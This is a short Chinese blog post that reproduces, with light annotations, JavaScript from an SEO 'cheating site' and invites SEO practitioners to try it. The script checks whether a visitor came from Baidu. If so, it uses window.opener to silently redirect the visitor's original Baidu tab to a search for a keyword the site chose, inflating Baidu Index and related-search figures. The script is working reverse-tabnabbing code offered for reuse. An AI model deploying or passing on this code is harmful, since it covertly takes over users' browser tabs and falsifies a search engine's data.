今日闲逛,偶遇一作弊站。此站利用js恶意控制网民的搜索关键词,达到增加百度指数、相关搜索等单纯目的。
js代码未加密,特复制,并做了业余且简单的注释。喜欢的SEOer不妨测试一下。
定义跳转函数:
function BaiduPageJump(sURL,jURL) {
var sBeginCode = "?wd=";
var sBeginCode2 = "&wd=";
var sEndCode = "###";
var sEndCode2 = "&";
var iPlace = sURL.indexOf(sBeginCode);
if (iPlace == -1) {
iPlace = sURL.indexOf(sBeginCode2);
}
sURL = sURL.substring(iPlace+4, sURL.length);
var iPlace = sURL.indexOf(sEndCode);
if (iPlace == -1) {
iPlace = sURL.indexOf(sEndCode2);
}
if (iPlace != -1) {
sURL = sURL.substring(0, iPlace);
}
if (navigator.userAgent.indexOf("MSIE") != -1) {
window.opener.navigate(jURL);
}
else {
window.opener.location.href = jURL;
}
}
定义要跳转到的网址和想要控制的搜索关键词:
var jURL="http://www.wangyuwen.com";
var baidujURL = "http://www.baidu.com/s?wd=潇湘驭文";
获取来源网址(上一个页面的URL):
var sURL = document.referrer;
将网址转化成小写:
sURL = sURL.toLowerCase();
判断是否来自百度,若来自百度则调用最开始自定义的函数:
if (sURL.indexOf("www.baidu.com/")!=-1) {
BaiduPageJump(sURL,baidujURL);
}
控制百度搜索的js跳转代码:等您坐沙发呢!